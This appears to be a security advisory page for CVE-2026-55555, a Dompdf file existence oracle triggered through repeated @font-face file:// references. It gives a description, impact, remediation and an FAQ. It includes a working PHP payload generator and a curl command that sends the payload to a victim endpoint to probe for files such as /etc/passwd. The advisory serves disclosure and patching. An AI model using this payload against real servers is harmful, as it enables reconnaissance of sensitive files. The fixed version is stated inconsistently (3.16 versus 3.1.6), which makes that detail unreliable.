CVE-2026-55555: Dompdf: File existence oracle via font-face stylesheet declaration

Published Jul 22, 2026
·
Updated

Description

Dompdf is vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion.

The critical point of this flaw is the discrepancy in system behavior:

1. If the file exists: Dompdf attempts to process the local resource multiple times, leading to an "Allowed memory size exhausted" error, which crashes the creation. 2. If the file does NOT exist: The rendering engine fails quickly or ignores the import, and the memory limit is not reached.

This discrepancy allows an attacker to enumerate sensitive files on the server, regardless of CHROOT restrictions.

Some factors impact the ability of attackers to exploit the vulnerability: - The attacker must be allowed to provide unrestricted and/or unsanitized HTML content. - System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error. - HTTP GET querystring or POST body must allow large data - Memory limits must be low enough that Dompdf can trigger an overflow - $dompdfshowwarnings when set to true can bump memory usage

---

Example Scenario

1. Vulnerable System

A web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf.

- Vulnerable Endpoint: http://example.com/index.php - Vulnerable Parameter: htmlinput (POST)

index.php simplified: $dompdf = new Dompdf(new Options()); $dompdf->loadHtml($POST['htmlinput']); $dompdf->render(); $dompdf->stream("document.pdf");

<img width="2530" height="1320" alt="image" src="https://github.com/user-attachments/assets/a3fe336c-097a-408a-b8b4-cdbaf5f8d7c4" />

2. Attack Generation

The attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request.

- Attacker's Local Script (payloadgen.php):

PHP <?php

/ Usage: php exploit.php <filepath> <iterations> Example: php exploit.php /etc/passwd 5000 /

// Check if the file argument was provided if ($argc < 2) { echo "[-] Usage: php exploit.php <filetoread> [iterations]\n"; exit(1); }

$file = $argv[1]; $iterations = isset($argv[2]) ? (int)$argv[2] : 5000;

function generatepayload($file, $iterations) { $css = ""; $body = ""; // We use @font-face to trick the engine into attempting a local file read for ($i = 0; $i < $iterations; $i++) { $css .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n"; $body .= "<span style=\"font-family:f{$i}\">.</span>"; } return "<html><head><style>{$css}</style></head><body>{$body}</body></html>"; }

// Output the payload to stdout for piping echo generatepayload($file, $iterations);

?>

3. Exploitation

The attacker pipes the malicious HTML into a curl request targeting the remote server:

php payloadgen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \

--data-urlencode "htmlinput@-" \

--output response.pdf

By analyzing the response.pdf file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes.

Existent file: <img width="2544" height="702" alt="image" src="https://github.com/user-attachments/assets/a565e9b9-5bf7-486c-acac-c2adfc4af536" />

Non-existent file: <img width="1872" height="706" alt="image" src="https://github.com/user-attachments/assets/6e71dbdd-294a-4b2c-a183-4bbbfddcdee2" />

Note that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists.

---

Impact

Information Disclosure (File Oracle via Reflected HTML): In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., .env files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server's file system.

Other sources

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an "Allowed memory size exhausted" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf's memory limit is low enough to be exhausted (with  $dompdfshowwarnings=true  making the overflow easier to reach). This issue has been fixed in version 3.16.

MITRE

Affected Software

2 affected componentsFixes available
composer/dompdf/dompdf<3.1.6
3.1.6
Dompdf Project Dompdf<3.16

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/dompdf/dompdf to a version that resolves this vulnerability.

    Fixed in 3.1.6
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 3.16

Event History

Jul 22, 2026
Advisory Published
via GitHub·09:07 PM
Data Sourced
via GitHub·09:07 PM
DescriptionWeaknessAffected Software
Jul 28, 2026
CVE Published
via MITRE·07:23 PM
Data Sourced
via MITRE·07:23 PM
DescriptionWeakness
Data Sourced
via NVD·08:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-55555?

CVE-2026-55555 has a risk rating of 45, indicating moderate severity.

2

How does CVE-2026-55555 exploit the system?

CVE-2026-55555 exploits the system through a File Existence Oracle attack by manipulating the CSS @font-face directive with local file references.

3

What versions of Dompdf are affected by CVE-2026-55555?

CVE-2026-55555 affects specific versions of Dompdf that do not have the necessary security updates addressing this vulnerability.

4

How do I fix CVE-2026-55555?

To fix CVE-2026-55555, update to the latest version of Dompdf that incorporates the security patches.

5

What types of attacks can be performed using CVE-2026-55555?

CVE-2026-55555 allows attackers to trigger PHP memory exhaustion, potentially leading to denial of service.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203